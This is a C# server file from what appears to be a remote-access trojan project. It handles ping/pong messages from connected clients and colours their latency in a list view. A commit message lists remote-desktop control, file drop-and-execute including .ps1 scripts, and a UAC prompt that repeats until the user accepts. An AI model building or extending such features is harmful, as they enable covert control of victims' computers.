added - remote dekstop move movements added - remote desktop showing cursor movements added - showing active window when client connected immediately updated - send file to disk will show if the file ran successfully or not fixed - send file to disk fixed when executing .ps1 file updated - UAC popup now will run until the user press accept
56 lines
2.0 KiB
C#
56 lines
2.0 KiB
C#
using Server.MessagePack;
|
|
using Server.Connection;
|
|
using System.Diagnostics;
|
|
using System.Windows.Forms;
|
|
using System.Threading;
|
|
using System.Drawing;
|
|
using Microsoft.VisualBasic;
|
|
|
|
namespace Server.Handle_Packet
|
|
{
|
|
public class HandlePing
|
|
{
|
|
public void Ping(Clients client, MsgPack unpack_msgpack)
|
|
{
|
|
try
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").SetAsString("pong");
|
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
|
lock (Settings.LockListviewClients)
|
|
if (client.LV != null)
|
|
client.LV.SubItems[Program.form1.lv_act.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString;
|
|
else
|
|
Debug.WriteLine("Temp socket pinged server");
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
public void Pong(Clients client, MsgPack unpack_msgpack)
|
|
{
|
|
try
|
|
{
|
|
lock (Settings.LockListviewClients)
|
|
if (client.LV != null)
|
|
{
|
|
int interval = (int)unpack_msgpack.ForcePathObject("Message").AsInteger;
|
|
client.LV.SubItems[Program.form1.lv_ping.Index].Text = interval + " MS";
|
|
if (interval > 400)
|
|
{
|
|
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Red;
|
|
}
|
|
else if (interval > 200)
|
|
{
|
|
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Orange;
|
|
}
|
|
else
|
|
{
|
|
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Green;
|
|
}
|
|
}
|
|
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
} |